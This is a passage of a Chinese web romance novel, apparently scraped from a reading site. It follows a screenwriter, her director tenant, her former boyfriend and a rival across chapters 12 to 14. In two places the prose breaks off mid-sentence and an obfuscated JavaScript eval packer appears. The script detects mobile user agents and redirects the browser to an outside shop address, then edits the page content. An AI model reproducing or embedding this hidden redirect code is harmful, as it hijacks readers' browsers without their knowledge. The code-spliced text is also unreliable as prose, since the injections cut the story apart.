谈雪昼评估了一下徐皑这人的整体实力,还是不大信任。 说:“行了,你可以滚了。下线了。” “别——” 徐皑刚被点燃八卦的热情,只能看着对面黑掉的屏幕发出哀嚎。 谈雪昼挂断了视频,埋头继续画自己的分镜头草稿。 画了两张,铅笔好像有了自己的意识一样,在白纸上失控,逐渐游走化成了一头眼珠湿润的小鹿。 他把小鹿涂掉,起身拉开窗帘。 海风阔大,浩浩荡荡地席卷而来,把手臂压住的纸张卷得哗哗作响。他下意识抬了下墨镜,却摸到光裸的鼻梁。 他垂下头,凝视着纸张上小鹿头顶嶙峋的鹿角枝杈,有些失神。 - 谈雪昼接连好几天都清晨出门勘景,傍晚才回。宜夏真拿不准他到底是度假来了,还是工作来了。 或者是被那天她突然莽撞问出口的“你会和圈内人谈恋爱吗”给吓到了。 他该不会是在躲她吧? 不像啊。 他脸皮那么厚,那么不要脸。 那天她问完,他只怔了不到半秒,撑着桌面微微俯下身直视着她的眼睛,故作高深地沉默两秒,问:“那你觉得,你算圈内人吗?” 宜夏结巴了。 这,你,我…… 她眨着眼睛,小声说:“我觉得我算。” 谈雪昼笑容收起,跟变脸一样,漠然道:“那我的回答就是不会。” 宜夏有点气急败坏了,在背后朝他挥拳。 接下来的几天,宜夏都没怎么跟谈雪昼碰上面。 谈雪昼又开始了单独行动,宜夏只好窝在家里颓废。 不过好消息是她真的开始写那个主角是谈雪昼的惊悚剧本。 呵呵。 可恶的导演,就让你粉丝来治你吧。你完了。 宜夏每周周三周六出门去市场买菜。 谈雪昼给了她过敏的文档,她做饭很注意,再也没出过事。 只是没想到谈雪昼看起来一副少爷做派,其实吃东西也不挑剔,各方面来说算得上是很好相处的房客了。 宜夏一早从菜市场采购回来,把一大袋蔬菜从小电驴上拎下来,背后突然有人叫了一声: “阿宜!” 宜夏扭头。 男人戴着鸭舌帽和口罩,帽檐遮了大半张脸。瘦得过分,脸颊甚至有些轻微的凹陷。 是熟人。 舒润。 宜夏手上动作一顿,往后退了一步,问:“你怎么在这?” 舒润一怔:“我……我是来找你的。” “找我干什么?” “我那天……我前段时间杀青了,最近休假。我听说你……你是不是,最近有点困难……” 宜夏很快说:“没有。”她顿了下说,“我的事跟你无关,你不要再来找我了。” 舒润表情有些难看:“阿宜……我新戏刚刚杀青,就从内蒙飞回来见你了。我受伤了,骑马摔断了胳膊,放了一块钢板进去……阿宜,我……” 宜夏没听他在说什么,闪进院门之后立刻把门关上合好。 舒润吃了一碗闭门羹,站在门口,敲门也不是,不敲门就这么离开,好像又不是那么甘心。 他站在外面,声音很颓废:“阿宜,我……我其实就是想来看看你。” 隔着一扇门,传来宜夏平静的声音:“我没有怪过你,我理解你。只是我们没可能了,你不要这么拖泥带水,让我看不起你。” 舒润望着紧闭的大门,有些失神。 站了很久,他终于拉低了鸭舌帽,沿原路返回。 打了钢板的手臂隐隐作痛。 心是荒凉的,更痛。 他忽然想起了刚认识宜夏的时候。 那时候,她还没有因为《江流冬日》出名,只写过两个题材比较严肃的剧本,都是讲校园霸凌的,拿了几个小影展的奖。而他则在演一些有的没的网剧电视剧,也不出名。 两个人都算得上娱乐圈底层。 他在一个导演朋友的饭局上遇见了她。 是一见钟情。 那种特别猛烈的特殊心动感一下击中了他,他主动加了她的联系方式,明里暗里地追她。 她那时候本科还没毕业,根本不开窍,每次都很耿直地拒绝。 他不得不挑明在追她,她却对他更加避如蛇蝎——明明之前以朋友身份接近她的时候,还偶尔能约出来吃一两顿饭,看一两场老电影。 她躲着他,不愿见他,在微信上,也郑重地说明了不想恋爱,不想耽误他。 就这么没有结果地追了一年多,一点进度都没有,反而还倒退。 他其实都有点儿心灰意冷了。 这时候,她的剧本《江流冬日》拿了奖。 大众意义上的大奖,金芙蓉电影节的提名。 颁奖典礼那天他去参加了,主要是为了蹭红毯。 却也看见了她在舞台中央接过象征着荣誉的金芙蓉奖杯,眉眼清绝,明媚灿烂。 已经心灰意冷的一颗心立刻死灰复燃,舒润突然觉得自己还是放不下。 颁奖结束后,他特地订了一束花送给她。 他定的是烟粉色的玫瑰,花店搞错了订单,给他的却是一束橙色的玫瑰配向日葵。 他在停车场叫住她,把那束仓促送错的橙玫瑰向日葵送给她:“阿宜,祝贺你。” 她有点错愕,迟疑片刻,接住了花束。 低头看清花束的模样,她怔然失神,好像陷入了一段回忆里,好一会儿才抬头,没头没脑地问:“你也喜欢橙玫瑰和向日葵吗?” 她说的是“也”。 意思是她喜欢。 投其所好,舒润当然跟着承认:“橙玫瑰的花语是……羞怯沉默的爱。是初恋,你知道吗?” “……初恋,吗?” 她领奖穿的一件裁剪优雅的银色露肩一字礼服裙,捧着橙玫瑰,安静看他的眼神,简直令他心醉又心碎。 不知道是不是那束花的效果,她对他的态度出现了一个很明显的软化。 舒润自然不能放弃机会。 之后不懈地追了半年,他们终于顺理成章地确定了关系。 影视圈大家的关系都很速食,剧组夫妻、换乘恋爱的不少,但她却没有沾到这些风气,对待恋爱的态度很郑重。 他们最多只是拥抱牵手,有一次他失神想要亲她,她浑身都在抖,四肢僵硬,瞳孔涣散,仿佛脱水的鱼,好像是在强迫自己接受这些亲密举动。 他从意乱情迷中清醒,看见她凌乱的长发、通红的眼尾和含泪的眼睛,心口顿时满腔的怜惜。 他想要等她准备好。 他一直知道她特别的有才华,他也很想要追上她的脚步,所以他拼命地进组,从来没叫过苦。 《强制报告》终于让他大火了。 他其实早知道这部电影的剧本是她写的。 那天她在网上看见了定档海报,看见上面没有她的署名,整个人表情接近空白。他心疼,可是,面对资方、出品人、制片人,他没办法帮她抗争,只能劝她开解她想开一点,起码拿到了剧本费不是? 她却不能接受他的观念,于是跟他提了分手。 他不同意。 两个人开始冷战。 《强制报告》获得了大奖,那之后,她突然面临了无数不实的言论指控。又有他的粉丝扒出来她是他的女友,她面临的舆论环境更加恶劣。 他一向明白娱乐圈的生存法则。 所以,当网友扒出她是他的女友时,他只能自证单身,甚至默许经纪公司下场说是她主动接近他、勾引他、潜规则他。 那时她因为于思程的手笔而身处网暴的漩涡,面临无数舆论的恶评。他却要顾忌粉丝、顾忌代言,没办法维护她,没办法说出真相。 反而,让她陷得更深,更痛,情况更糟糕。 这些通稿出来之后,他就知道,他们之间的关系已经完了。 他去找她。 她戴着医用口罩给他开门,却遮不住惨白的脸色。头发凌乱,衣领也乱七八糟的,看起来情绪已经到了临界点。 对上她通红的眼睛,他心里一恸,慌乱想抱住她。 她却慢慢站离远了他几步,深呼吸,安静地看着他。 表情空白破碎,却强迫自己依然得体地应对这一切:“我没有,主动接近你,勾引你,潜规则你,我们分手,好聚好散。” “不是,阿宜,网上那些……是公司……” “我知道。我理解你。”她表情空白,看着他,“你回去吧。我们分手,你对公司,对粉丝,都有交代了。这样是最好的。” “阿宜……” “舒润,再见。” “对不起。阿宜,对不起。” 然而一句苍白的对不起,又能起什么作用? 在她已经遭受了剧烈的网暴之后,依然默许公司、默许粉丝对她的攻击,是他至今为止无法原谅自己的事。 懦弱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13461075|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,无能,怕事,连自己喜欢的姑娘都没办法保护。 午夜梦回,辗转反侧,胸口总是有一股苍凉的悲哀。 他要红,要出名,要粉丝,最后,什么都有了,可是又什么都失去了。 - 因为突然看见不想见到的人,宜夏情绪有了点波动。 其实她能理解舒润做的那些事。 但不意味着她可以接受,可以原谅。她只是不想再见到他了。 她情绪低落好几天。 但也没放松在谈雪昼面前刷好感的日常工作 进度总是停滞不前,宜夏觉得谈雪昼这个人简直太难搞定了。 比如这天他又是一大早就消失了。 谈雪昼接到了外公的电话,要他回家一趟。 之前如果有项目在手上,他能找借口说有工作,但这段时间明显手上项目都停了,家里人都知道。 他中午到家,进门时钟阿姨迎出来接过他的外套,小声说:“先生刚吃过药,现在精神不是很好。” 谈雪昼上楼,进了谈默生的书房。 谈默生坐在小圆几旁边抽雪茄,见他进来瞟他一眼,也不说话。 谈雪昼在老人对面坐下。 当然也不主动吭声。 谈默生抽完一支雪茄,才咳嗽一声,看着他:“怎么,和我比赛谁先主动开口?” 谈雪昼笑了:“哪儿能呢。” “这就是你要的,非要拍你那个电影,被人欺负到头上了,还不告诉家里?” 谈雪昼坐正:“这点小事,是谁告诉您的?” “没人告诉我,我就不能知道了?” “……” 谈雪昼觉得这个话题很腻歪。 他大学时开始拍视频,后来拍电影。拍视频的时候,家里觉得是个爱好,大力支持,到打算把拍电影做为职业之后,反对声就一直不绝于耳,外公是其中态度旗帜最鲜明的。直到今天,外公都觉得他干的事没什么价值,哪怕确实赚了点钱。 谈默生见他消极抵抗的神色,没忍住说:“是你自找的,要是听我安排,现在你该在集团挂职——” 谈雪昼立刻做了个停止手势:“不用再说了爷爷。您说这么多次,我哪次听过。” 谈默生被这个一身反骨的混蛋气得站了起来,站半天看他没反应,又重重坐下,开始怀柔:“我也不是反对你拍电影这个事儿。可以作为爱好,但是一直拍戏,家里这么大家业给谁?” “……可以捐献给国家。国庆估计会请您上城楼观礼台。” “你这个!”谈默生又被一句话直接气坏了,按着胸口发抖,“……你是不是要气死我?” 谈雪昼安抚老爷子:“别生气,钟阿姨说您刚吃药了,吃了药气性就不要这么大了,对身体多不好啊。”顿了下,又说,“爷爷,我们这个问题聊过太多次了。我有我想做的事。除了这件事,别的事,我哪件,没听你的话?” 他数:“让我念什么大学,我就念什么大学,读什么专业,我就读什么专业。” 谈默生看着他,胸口堵得慌:“偏偏在最大的事上跟我唱反调。” “那怎么办呢。”谈雪昼懒散问。 谈默生:“……除了这件事,别的事,你都听我的话。” 谈雪昼坐直,警惕起来。 谈默生看着他:“你知道你今年几岁了吗?二十八了,还没有一个女朋友。就是因为不谈恋爱不结婚,才一直在外面游手好闲。是时候找个人结婚了。” 谈雪昼:“……” 原来目的在这里。 谈默生说:“你非要拍电影,我反对也无效,给你安排个不认识的结婚的对象,你肯定也不能满意,到时候又要反对。但结婚是要结婚的,跟娱乐圈那些小明星鬼混下去是不成的,爷爷替你选了个姑娘,你先接触下人家女孩儿。” 谈雪昼:“……不要乱点鸳鸯谱。” 谈默生:“还不是你让人操心!” 谈雪昼就知道家里消停不了。 谈默生又说:“那个女孩儿你应该认识。也在拍电影,跟你有共同话题。怎么一个二个都拍什么电影。” 谈雪昼:“……我不见。” “不行。” “我要工作,没时间谈恋爱结婚。” “工作都停了还工作?” “……我喜欢男的。” 谈默生震怒:“好,行,那你就去给我跟男的相亲!是不是喜欢惟昭?把惟昭叫过来,要是你们俩在一起,我也不反对!” 谈雪昼:“……” 这种借口都说出来了,老爷子口风都不松。 根本就不是征求他的意见,而是通知他。 谈雪昼敷衍不成,最后不得不同意加那个姑娘的联系方式。 在家吃完晚饭后,他收到了那个姑娘的微信好友申请。 老爷子也是知道他肯定不会听家里安排,跟根本没有共同话题的名媛相亲结婚。 所以为了提高他谈恋爱的可能性,非常费力在一大圈名媛千金里找了一个也在拍电影的姑娘。 谈雪昼看见名字才想起来,他好像确实认识对方。 是于氏传媒的小公主于思程。 跟他的《心声直播》打擂台,还打赢了他的《强制报告》的编剧。 《心声直播》票房没有达到预期,他反思自己,也去看了《强制报告》,不得不承认这部电影剧本确实写得很好。 认识一下……好像也没什么坏处? 13. 春日 第13章 - 谈雪昼一早就出门,到了这个点都还没回来。 海岛上的风雨总是来得又快又猛,毫无提示。 宜夏窝在客厅沙发上找同类电影做参考,从剧情中抽神,一抬头却见窗外天色漆黑,风雨大作。 宜夏暂停电影,摸出手机。 好机会。 宜夏: 【你出门了?】 【你带伞了吗?】 对方一直没有回复。 宜夏拨了个电话出去,却也没人接通。 这种天气,窝在温暖的室内,一边吃零食一边看一部上世纪的老电影是最治愈的,看恐怖片也会特别有氛围。 说到恐怖片…… 宜夏突然想起刚刚看的惊悚片。 她面无表情望向天花板中央的一个斑点,试图止住自己无限发散的思绪。 突然,大门被人唰一声推开。 有人带着一身的雨水闯了进来,水声滴答,湿漉漉地滴在木地板上。宜夏本来还怕着,一想到木地板要泡水了,顿时怒从心头起,站起来看向门口。 谈雪昼浑身湿透,湿淋淋的好像刚从水里捞起来。头发湿漉漉地往下滴水,滴到锁骨,汇成小小一滩。脸上也全是雨水的痕迹,墨镜没法戴了,不过这天色光线不亮,眼睛倒不难受,只是睫毛几乎都要黏成一簇一簇的,有些睁不开。 但他动作神态还是镇定的。 相机塞在包里保护得很好,其他的就没那么幸运了,基本和他本人一样湿透了,包括手机。 他随手把手机和其他零碎物件往桌上一丢,也没跟宜夏招呼,直接上楼。 宜夏瞪着他的背影,恐怖地想:这房子可是,外婆留给我的东西,这地板,可是祖传下来的实木…… 她平时在上面打翻了水都要趴着用毛巾擦干的。 算了。 看他淋了雨这么可怜,就不找他麻烦了。 宜夏一屁股坐下,继续看自己的电影。 她耳朵尖,不一会儿就听见楼上传来热水器打火的声音。 与此同时,他随手丢在桌上的手机也震动了起来。 宜夏没去碰手机,只是朝楼上喊:“谈雪昼!” 没应声,估计是洗澡听不到。 宜夏站起来,探身拿过手机,见上面显示着一个熟悉的名字。 “于思程” 于思程? 宜夏的心脏猛一下跳起来。 谈雪昼和于思程? 于思程认识谈雪昼吗?是要合作吗?还是? 她朝楼上往了一眼,心脏扑通跳得更快。楼上的水声似乎就响在耳畔,一个声音诱惑着她……她鬼使神差按了接通。 那边很快传来于思程温柔娇俏的声音:“雪昼,是我。听爷爷说你现在不在江流是吗,我们什么时候能见一面?” 宜夏沉默。 对面于思程也不以为意,顿了下,很自然地说:“我知道爷爷安排我们相亲你不愿意,其实我也觉得,有点奇怪。不过,其实我想认识你很久了,我特别喜欢你的电影,咱们相亲不成,不知道能不能有机会合作呀?我最近有个剧本,有个想法,不知道你有没有兴趣……” 宜夏屏住呼吸,听着对面暌违已久的声音。 心里的恶意不受控制地滋生,宜夏咳嗽了一声。 她之前写过一个好玩的短剧剧本,讲的是配音演员的故事,因此认识了一些配音演员,学了几招变声。虽然不能做到跟人一模一样,但伪装成男声不难。 她压低了嗓子,模仿谈雪昼懒散吊儿郎当的声音:“没有兴趣。” 对面愣了一秒,似乎是拉开看了下手机屏幕,又凑近问:“喂?是谈老师吗?喂?” 宜夏低声说:“没有兴趣。你有能力写剧本吗?你的作品是你自己写的吗?” 对面怔住了。 宜夏直接挂断了电话,看着通话结束的界面,心跳依然很快。 还没来得及放下手机,就听见楼上传来谈雪昼的声音:“你在干什么?” 宜夏手一抖,扭头看他。 太冲动了,刚刚不该接那个电话的。 要不要承认接了电话? 宜夏屏住呼吸,两秒之内,快速下了决定,很镇定地说:“刚刚有人给你打电话,我不小心接了。” 谈雪昼一扬眉。 宜夏抿了下唇:“对方是你相亲对象。” 谈雪昼:“……” 宜夏垂下眼睫毛,诚挚地说:“对不起,我不该接的。不过你放心,我用了男人的声音,你相亲对象,应该不会误会你有女朋友。” 谈雪昼沉默片刻,话题偏了:“你还会,男人声音?” 宜夏梗着脖子,学了一声:“你好,我叫谈雪昼。” 谈雪昼:“……” 安静片刻,宜夏小心翼翼问:“你……要相亲吗?你是要,谈恋爱吗?” 谈雪昼居高临下,端详着她的脸,若有所思。 走过来拿掉手机,没回她。 宜夏心想大概是蒙混过去了。 只是……于思程,竟然要和谈雪昼相亲吗? 谈雪昼不会听家里的安排,跟她结婚吧? 宜夏心里莫名的堵得慌。 要是于思程和谈雪昼在一起了,她目前唯一的出路,又被堵死了吧。 于思程,怎么这么阴魂不散呢? - 也许是接了于思程的电话,宜夏久违地想起了和她形影不离做朋友的那段日子。 那段时光的最开始是很温暖的。 她刚刚崭露头角,写了一个获奖的本子。 于思程也混在娱乐圈底层,隐姓埋名,没有人知道她是于氏传媒的小公主,宜夏彼时也不知道,她竟然是于璟同父异母的妹妹。 她特地找到宜夏的联系方式,跟她聊她剧本的表达。 见面,多次见面,成了好朋友,一起合作开工作室,她比宜夏懂圈子里乱七八糟的资源置换,跟宜夏说,要保护她安安心心写剧本,跟其他人喝酒吃饭应酬这些事,她帮她做。 宜夏是很感激她的。 她确实,在开始的时候保护了她。 那一段陪伴,不说多动人,起码是温馨的。 然后一切都变了。 时至今日,宜夏依然不能确定,当初那个签错名字、没有约定好的署名,她到底是一开始就目的如此,还是真的只是阴差阳错。 只是不管是哪种可能,她们都已经决裂,再不能回返。 她保护过她,陪伴过她,然后,狠狠地给她上了一课。 原来,真正的上流社会,豪门千金,根本不在乎友情,不在乎真心,过河拆桥能够下得了死手。 宜夏那时候,太软弱了,对一切都抱有希望,甚至不敢相信,网上那些铺天盖地的黑料、侮辱、咒骂、诅咒,是她找人下的手。也不敢相信,和舒润的恋情,是她找人曝的光,是她找人引导粉丝下的场。 真的是很惨烈的一课。 这个仇,她不可能不报。 - 谈雪昼熬夜画场景设计的概念草图,凌晨一点,困得不行了,躺回床上之前看了眼手机。 他傍晚的时候收到了于思程的好友申请,简单跟人敷衍了一两句,对方态度特别温柔热情,让他有点头疼。 和宜夏那种热情不一样。 宜夏明摆着有什么鬼点子,其实他能猜出来,看她这段时间有意无意地暗示剧本,就知道估计只是想合作而已。 相亲这个姑娘,却好像,是真的冲着“相亲”来的。 盯着手机屏幕上几个粉色的卖萌表情,谈雪昼突然有了个不太合适的想法。 如果宜夏不是用男声接的电话就好了,这样,于小姐也会知难而退。 如果,他有女朋友,家里应该不会乱点鸳鸯谱了。 他在床上翻了个身,看见了床头一盏陈旧的鹿角小夜灯。 小夜灯温柔昏黄的光线濛濛笼罩着他,已经这样照顾了他十八年。 - 谈雪昼雷打不动清晨出门勘景。 大清早,带好装备准备出门,小院门口传来一阵摩托车的轰鸣。 推开院门,宜夏单腿支在地上,扶了下棒球帽的帽檐,微微扬起下巴,声音温温柔柔的:“谈老师。” 语气一如既往温吞,打扮却特别带劲。 头发扎成高马尾,戴黑色棒球帽,帽子上有一只蓝紫色的蜻蜓刺绣。棒球服短夹克加上黑色皮质短裤,过膝的皮靴上银环闪闪。 谈雪昼挑眉:“你这是?” “你是不是把附近都逛完了?我带你去远处吧!” 谈雪昼沉默半秒,扬了扬下巴:“你又打什么主意?” 主意当然没打什么主意。 只是想多跟你相处,监控——哦不对,观察你和于思程相亲的进度,随时找机会破坏你们的交流。 于思程她不配! 宜夏摘下棒球帽,清媚的杏眼凝视着谈雪昼,语气温吞:“你怎么每次都把我往坏处想?我难道是什么坏人吗?” “你打扮得像马上要吃三个小孩进补。” 宜夏眨了下眼:“你如果不喜欢的话我马上换。” 谈雪昼叫她:“下来。” 宜夏懵了一秒,从摩托上跨下来。 那是一辆全黑的摩托,流线型,造型炫酷,小岛上并不多见。宜夏刚问修车行的王叔租的,一天租金两百块,可心疼死她了。 谈雪昼把拎着的单肩包丢进摩托车的后备箱,抬腿跨了上去,拧一拧车把,摩托车引擎震动,发出巨大的轰鸣声。 谈雪昼侧过脸看宜夏:“愣着干什么?上来。” 宜夏呆了一秒,后退一步:“还是我开吧,你有摩托车驾驶证吗?” 谈雪昼说:“我还有直升机驾驶证,你要看吗?” 宜夏为难:“但这又不是直升机。” 谈雪昼变脸:“不来算了。” 宜夏愣了。 这可是我租的车,你怎么就说占就占,太不把自己当外人,太不把我放在眼里了。 谈雪昼见她还在犹豫,不耐烦地发动引擎。 宜夏顿时顾不得那么多了,直接跨上车后座。 她就没办法像他坐小电驴一样,还注意着控制距离,只能紧紧攥住他的衣摆。 等等。 她突然反应过来。 这不是个绝好的机会吗? 她悄悄朝前坐,再朝前蹭。 谈雪昼没什么反应。 宜夏埋着头,有点羞涩地说:“谈老师,我……坐不太稳。” “嗯。” “所以,”宜夏小声问,“我能,抱着你吗?” “不行。” 宜夏假装没听到,悄悄伸手环住了他的腰,没忍住,还按了一下他腰腹处紧实的肌肉,温吞说:“谈老师,谢谢你。” 谈雪昼:“……” 他懒得跟她多废话,直接发动了车。引擎轰的一声,摩托车直接顺着环海公路往下狂飙。宜夏的棒球帽被风直接吹走,她声音立刻开始发抖:“啊啊啊我的帽子!” 她隐约听见谈雪昼低低地笑了一声。 宜夏:“是限量款!” “那就回来再捡。” “啊啊啊你开慢点啊!”宜夏顾不得那么多了,声音被风吹得变形,“你开这么快做什么?” 摩托疾冲下环海公路,到了一段比较平缓的路途,终于开得没那么吓人了,宜夏缓过神来,气急地松手,梳理自己被吹得跟金毛狮王一样凌乱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13461076|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的头发。 结果谈雪昼不做人。 突然又是猛一下加速。 宜夏直接撞到了他背上。 他到底吃什么长这么硬,跟堵墙一样,撞得她眼泛泪花,不停在心里骂人。 谈雪昼低眼,从后视镜瞥见她的神色,勾了下唇。 宜夏很快就自我安慰满血复活了。 又开始悄摸摸抱紧谈雪昼的腰,把脸贴在他背上,还蹭了蹭,低声问:“谈老师,你要去哪里呀?” 摩托车停在一处海崖旁边。 往下望,入眼是凌乱拍岸的浪花泡沫。不远处的海鸟振翅飞翔,更远一点,能看见海滩、人影、渔船,再往远处望,就是矗立的灯塔。海上的太阳是橘红色的,好像秋天经了霜的熟柿子,剥开似乎会有熟透的橙色流心。碧海白浪,橘日轻云,风景可爱,风也吹得很舒服。 谈雪昼站在崖边拍照。 宜夏坐在摩托上,不受控制开始琢磨,要是她站在后面把他往前一推,他会不会摔下去。 然后就死掉。 不行,不能死掉。 他应该被附近的疯狂影迷救起来,然后就开始整个故事。 故事发生在一个台风天,咆哮的台风把一辆行驶的轿车掀翻,轿车滚下海崖,驾驶员、著名导演谈某摔断了腿,半死不活躺在车里…… “——你在想什么?” 谈雪昼搁下单反,突然回头。 宜夏立马从自己的世界里挣出来,眨了下眼,慢吞吞说:“我突然发现,谈老师,你长得确实……挺可以的。” 谈雪昼挑了下眉:“我长得是还可以,你也不必用那种,”他顿了下,慢悠悠说,“想把我扒光的眼神看着我吧。” 宜夏:“……” 呵呵。 没想把你扒光,只想把你丢进我的剧本,让你见识什么叫,人、间、险、恶。 她温吞说:“所以,你一定要保护好自己。说不定我第二人格什么时候就出来了。”顿了下,“毕竟我们精神病非礼别人,都不犯法的。” 谈雪昼又拍了几张照。 宜夏感觉他最近应该不算正式勘景,只是提前踩个点,所以拍照还挺随意的,跟游客拍风景照差不多。 不过他全岛踩点,到底是打算干什么呢?还来这种荒郊野岭人迹罕至的地方……如果不是大篇幅出外景,那就是准备自己搭景了。 她也没问出口。 这毕竟会涉及到他剧组的机密。 又走了几个地方,到了中午。 两个人随便找了家路边的小店吃饭。 吃到一半,谈雪昼站起来去选饮料喝,手机就直接搁在桌面上。 宜夏控制不住地往上面瞟。 他心很大,手机好像不设密码,如果她悄悄打开看一眼通讯录……是不是就能看见于思程到底有没有再跟他打电话? 她心跳快起来,攥着拳,悄悄抬头看他的背影。 小饭店装修很陈旧,灰扑扑的像蒙着一层怀旧滤镜。墙上挂着不少已经过时很久的招贴画,隐约泛着油光。桌椅都是木质的,已经用久了,原木色也变深了。 除了窗外浓蓝的海景之外,室内唯一的颜色,是谈雪昼身上的克莱因蓝色T恤。他整个人充满着与小餐馆格格不入的气场,懒懒散散站着,垂着头选冰柜里的饮料,后脑的头发戳在后脑勺上,颜色乌黑甚至可以用清净来形容。整个人就好像清凌凌的一挂冰,腰是腰,腿是腿的。 说起来他还有腹肌……手感还不错。 他似乎对视线敏感,慢悠悠转过头,盯了她一眼。 宜夏立刻下意识绽出笑容,心虚低头。 ……怎么脑子里全是些有的没的。 手机…… 桌上的手机突然震动了起来。 宜夏伸长脖子,努力看上面的来电显示。 谈雪昼正好结了账走过来,随手给她面前放了瓶冰镇过的小青柠汁,又捞起手机。 宜夏没看清来电到底是谁! 隐约是看见了一个“于”字! 谈雪昼拿起电话,转身往小店外面走。 宜夏心跳如雷,难受得要死,她好想偷听,想知道是不是于思程……以什么借口凑过去偷听?就说拧不开瓶盖要他帮忙? 还没想好理由,谈雪昼已经接完了电话回来,又随手把手机丢在了桌面上。 宜夏抱着小青柠汁,咽了下口水,深呼吸若无其事问:“工作吗?” “不是。” 宜夏心顿时被提起来,语气依然镇定:“……昨天相亲的对象?” 谈雪昼盯了她一眼:“你猜。” “我小孩啊还猜。”宜夏别过脸,突然凑到谈雪昼面前,睁大眼睛好奇问,“谈老师,所以,你有结婚的打算吗?” “你猜?” “……” 谈雪昼似笑非笑看了她一眼:“很关心?” 宜夏咬了下牙,小声说:“我就随便问问,不想说就不说。”顿了下,又真诚说,“我确实……很关心你啊。” “?” 宜夏灵机一动:“虽然你可能看不出来,但我其实,是你粉丝。”她越想越有道理,自我肯定,“嗯,忠诚粉丝。” 谈雪昼:“不是又自大又没深度吗?” 宜夏:“……” 谈雪昼看她一直没拧开那瓶小青柠汁,随手捞了过来替她拧开,懒懒问:“你到底什么目的?” 宜夏:“事到如今,我也不得不承认了。” 谈雪昼表情收敛,眼神少见的认真,郑重看着她。 宜夏说:“我真的被你的美貌,以及才华,打动了。谈导,我真的变成你的粉丝了。” 谈雪昼偏过头,嗤笑一声。 半晌,盯着她慢腾腾说:“我不信。” 14. 春日 第14章 为什么他不相信她的真诚? 为什么他总是觉得她在想点子害他,这人警惕心未免也太强了。她跟他之前根本就不认识,他这就纯粹是“全天下所有人都要害朕”,属于被害妄想的一种,需要心理治疗。 宜夏热脸贴了冷屁股,而且还要坚持不懈地凑上去继续贴,越贴越气,越气就越暴躁,暴躁起来就开始脑补剧本。 ……疯狂影迷。 哼。 死定了谈雪昼。 谈雪昼挺喜欢宜夏租的那辆摩托,问了她在哪里租的,自己去续租了几天。然后整个就没宜夏什么事了。 宜夏只好每天强行跟他一起出门,借口依然是“导游”。 谈雪昼不置可否。 两人就这么早出晚归,花了几天时间骑着摩托把环岛的一圈风景都逛得差不多。 接连几天,宜夏都没再观察到谈雪昼接到于思程的电话。她有点想破罐破摔,直接去问他到底什么情况。 但转念一想,问这么直白,不是把目的暴露了么?她什么立场关心谈雪昼的相亲对象啊? 做人最忌讳优柔寡断,宜夏被钝刀子割肉,心烦意乱了好几天。 清塘岛是个南北走向的狭长小岛,居住区集中在小岛沿海。而小岛内部则是隆起的清塘山,漫山遍野长着山毛榉、木麻黄树,偶有山坳处住人,聚成了三五户聚居的小村庄,其他地方人迹罕至。 环岛这一圈逛完了,两个人休息了两天,谈雪昼要往山里去。 宜夏自然也要跟着一起去。 她不是个喜欢半途而废的人。 虽然谈雪昼每次都拒绝,但每次她都假装没听见,一顿胡说八道。他懒得跟她辩论,只能默认她跟着。 一起骑着车去人烟稀少的山里,探索了两天。 岛上基建还可以,清塘山也修了翻山的唯一一条公路,没有想象中那么不方便。 这天出门前宜夏看了下天气预报,据说有可能下雨。 但外面晴空万里、阳光普照,没有任何下雨的迹象。 她涂好了防晒出门,想了想还是给包里塞了把伞。 这次两个人去到了之前没去过的清塘山深处。 摩托没办法进山,只能靠着公路停在路旁。 这个季节,山里风景很明媚,山毛榉树高大清朗,日光下彻,可以看见光柱中旋转飞舞的小飞虫。从山毛榉林里出来,上坡之后,视线豁然开朗。入眼,是呼吸般起伏的浓绿树林,阳光在每一片叶子上反射着轻金色的光彩,如同粼粼的波纹一浪一浪的喧哗着。 宜夏虽然在岛上长大,但都是第一次见到这么美的六月间清塘山。 谈雪昼拍了很多张照片,宜夏也没忍住拿起手机拍。两个人在山窝一处大石头上休息,谈雪昼低头检查相机里的照片,宜夏凑过去瞄了一眼。 他拍照的风格很独特。 很简单几张角度不同的照片,就大体勾勒出整体环境特征,其他照片就是一般人不会注意的微小细节,譬如某个角度拍的石头像陆龟,溪水激起的银白浪花如同雪山,停在水面上两只黑翅膀身体纤长的蜻蜓,等等。 在他的镜头里都特别生机勃勃,鲜亮活跃,很像宜夏之前特别喜欢的一位油管视频Up主。 宜夏试探着问:“你……只拍风景啊?” 谈雪昼瞥她一眼:“?” 宜夏笑起来格外真诚:“需不需要模特,我可以帮你试一下光线啊什么的。” 谈雪昼:“不需要。” 宜夏:“……” 不需要就不需要呗,热脸贴冷屁股,那么冷淡干嘛。 涉过浅溪,谈雪昼要继续往山里去,基本没有路,要自己摸索往前。 宜夏感觉谈雪昼这不能叫勘景,叫野外求生。 要是来个摄影师跟拍,就能直接拍个野外综艺那种。 她没走多久就体力不支了。 平时懒得运动,这会儿又是爬坡又是过河的,谈雪昼还丝毫不懂照顾人,一路走得飞快。 一道几米宽的小溪横亘在眼前。 溪流水急,上面只有一道一半淹在水里的独木桥。谈雪昼已经三两步跨到了对面,宜夏却不敢踩上去,只好在这边踟蹰。 谈雪昼在溪流对面回过头,挑眉问:“不来了?” 宜夏一咬牙,踩上了独木桥。那木头在水里泡了太久,长满青苔水荇苔藓,溜光水滑,宜夏小心翼翼走一步停一步往前走,幸好没出什么事故,安安全全走到了最后一截。 但谁知道最后那一截木头竟然是空的! 